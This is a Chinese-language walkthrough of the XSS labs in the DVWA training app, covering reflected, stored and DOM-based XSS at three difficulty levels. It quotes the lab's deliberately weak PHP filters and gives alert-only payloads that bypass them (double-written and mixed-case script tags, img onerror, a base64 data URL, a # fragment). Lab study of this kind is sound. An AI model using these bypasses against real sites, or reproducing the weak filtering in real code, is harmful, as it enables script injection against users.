一、XSS攻击
1.1. XSS 攻击简介
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,它允许攻击者在受害者的浏览器中执行恶意脚本。攻击者通常通过在Web应用程序中注入恶意脚本代码(如JavaScript),并在用户访问该页面时执行这些代码。
1.2. XSS 攻击类型
XSS 攻击通常分为以下三种类型:
- 存储型 XSS(Stored XSS):
攻击者将恶意脚本注入到服务器的数据库或其他存储位置。当用户访问含有恶意脚本的页面时,脚本会在其浏览器中执行。
例如,攻击者在一个评论区提交恶意代码,服务器将该代码存储并返回给所有访问该页面的用户。
- 反射型 XSS(Reflected XSS):
攻击者将恶意代码附加到URL中,诱使用户点击。服务器将这个恶意代码反射回用户的浏览器,在页面加载时执行脚本。
例如,攻击者通过邮件或社交媒体发送一个包含恶意脚本的链接,用户点击后脚本在其浏览器中执行。
- DOM-based XSS:
在客户端(浏览器端)通过 JavaScript 操作 DOM(文档对象模型)时,恶意脚本会被注入并执行。攻击者通过操控页面上的 JavaScript 来实现攻击。
这种类型的XSS攻击不依赖服务器端的输入验证,而是直接通过客户端代码的漏洞来注入恶意脚本。
二、DVWA靶场-Vulnerability: Reflected Cross Site Scripting (XSS)
2.1 LOW
直接输入最简单的payload:测试是否存在XSS漏洞,大多数XSS漏洞可以利用该种方法检测。测试代码如下,在输入框输入如下代码,并提交。
javascript
<script>alert("hello xss")</script>

弹窗提示,因此发现存在反射型XSS风险。

2.2 Medium
- 将等级改为Medium后,再次输入以下脚本测试:
javascript
<script>alert("hello xss")</script>
发现Medium等级应该对script进行了处理。
- 查看Medium源代码,分析具体对script进行了哪种处理
php
// Reflected XSS Source
// vulnerabilities/xss_r/source/medium.php
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
代码分析:这里很明显看得出来,是对<script>
字符进行了过滤,使用str_replace()
函数将输入中的<script>
替换成为空,于是需要我们想办法绕过过滤字符。
- 破解
(1)双写绕过
javascript
<scr<script>ipt>alert("hello xss")</script>
(2)大小写绕过
javascript
<ScRipt>alert("hello xss")</ScRipt>

提交后,弹窗提示,xss破解成功
2.3 High
- 将等级改为High后,再次输入以下脚本测试:
javascript
<scr<script>ipt>alert("hello xss")</script>
提交后,显示如下。发现High等级应该对script进行了处理。
- 查看High源代码,分析具体对script进行了哪种处理
javascript
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
代码分析:针对特殊符号,均有过滤,使得双写绕过以及大小写混淆绕过失效。(正则表达式中的i表示不区分大小写)。
- 破解方法
script标签失效,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。
(1)采用img标签转换后的XSS payload:
javascript
<img src = 1 onerror = alert(/xss/)>
(2)使用DATA URL进行XSS:
javascript
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
其中的PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
就等同于<script>alert('xss')</script>
三、Vulnerability: Stored Cross Site Scripting (XSS)
3.1 Low
- 在界面输入经典payload,发现name框对输入长度有限制,因此将payload转而输入message框,发现可以成功注入。
javascript
<script>alert("hello xss")</script>
- 手动更改Name输入框的长度,修改
maxlength = "100"
,然后在name框输入经典payload,发现对长度已经没有限制
javascript
<script>alert("hello xss")</script>
- 提交后,XSS攻击成功
3.2 Medium
- 尝试使用经典的方法,发现之前经典的payload方法失败
- 查看源码
javascript
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
对源码分析:
- strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用标签。
- addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
- message参数使用了
htmlspecialchars
函数进行编码,无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了
- 考虑对name输入框进行xss注入
(1)首先需要手动更改Name输入框的长度,修改maxlength = "100"
(2)绕过方式,类似于反射型XSS
- 双写绕过
javascript
<scr<script>ipt>alert("hello xss")</script>
- 大小写绕过
javascript
<ScRipt>alert("hello xss")</ScRipt>
- 使用非script标签的xss payload。
javascript
<img src = 1 onerror = alert(/xss/)>
3.3 High
High等级的name输入框使用正则表达式过滤了<script>
标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。
(1)手动更改Name输入框的长度,修改maxlength = "100"
(2)使用非script标签的xss payload注入,注入成功。
javascript
<img src = 1 onerror = alert(/xss/)>
四、Vulnerability: DOM Based Cross Site Scripting (XSS)
4.1 Low
- 观察主页面,可以看到页面的功能是让我们选择默认的语言,但是这里又没有对default参数没有进行任何的过滤。
因此,我们在这里构造XSS代码,在default参数后面写入脚本,构造访问连接:
javascript
?default=<script>alert("hello xss")</script>

访问后弹出,XSS攻击成功
4.2 Medium
- 过滤了<script,那么我们可以用图片插入语句法:
javascript
?default=<img src =1 onerror = alert('dom')>
此时没有出现任何的变化,界面没有反应。这个时候查看网页的源代码:
可以看到我们输入的脚本语句被插入进了value值中,没有插入到option标签的值中,所以我们语句当中的标签就没有起到作用,因此不会弹窗。
我们改进我们的语句,尝试将前面的标签闭合,注入成功
javascript
?default=</select><img src =1 onerror = alert('dom')>
- 我们还可以直接在English值的后面直接进行拼接,页面也能直接出现弹窗
javascript
?default=English</select><img src =1 onerror = alert('dom')>
4.3 High级别
- 字符 # 绕过服务端过滤
url中有一个字符为#
,该字符后的数据不会发送到服务器端,#
后面的内容是对浏览器的操作,不会发送到http请求当中去,从而绕过服务端过滤。因此可以这样构造连接:
javascript
?default=English#<script>alert('high!!!')</script>

点击提交刷新页面后,出现弹窗: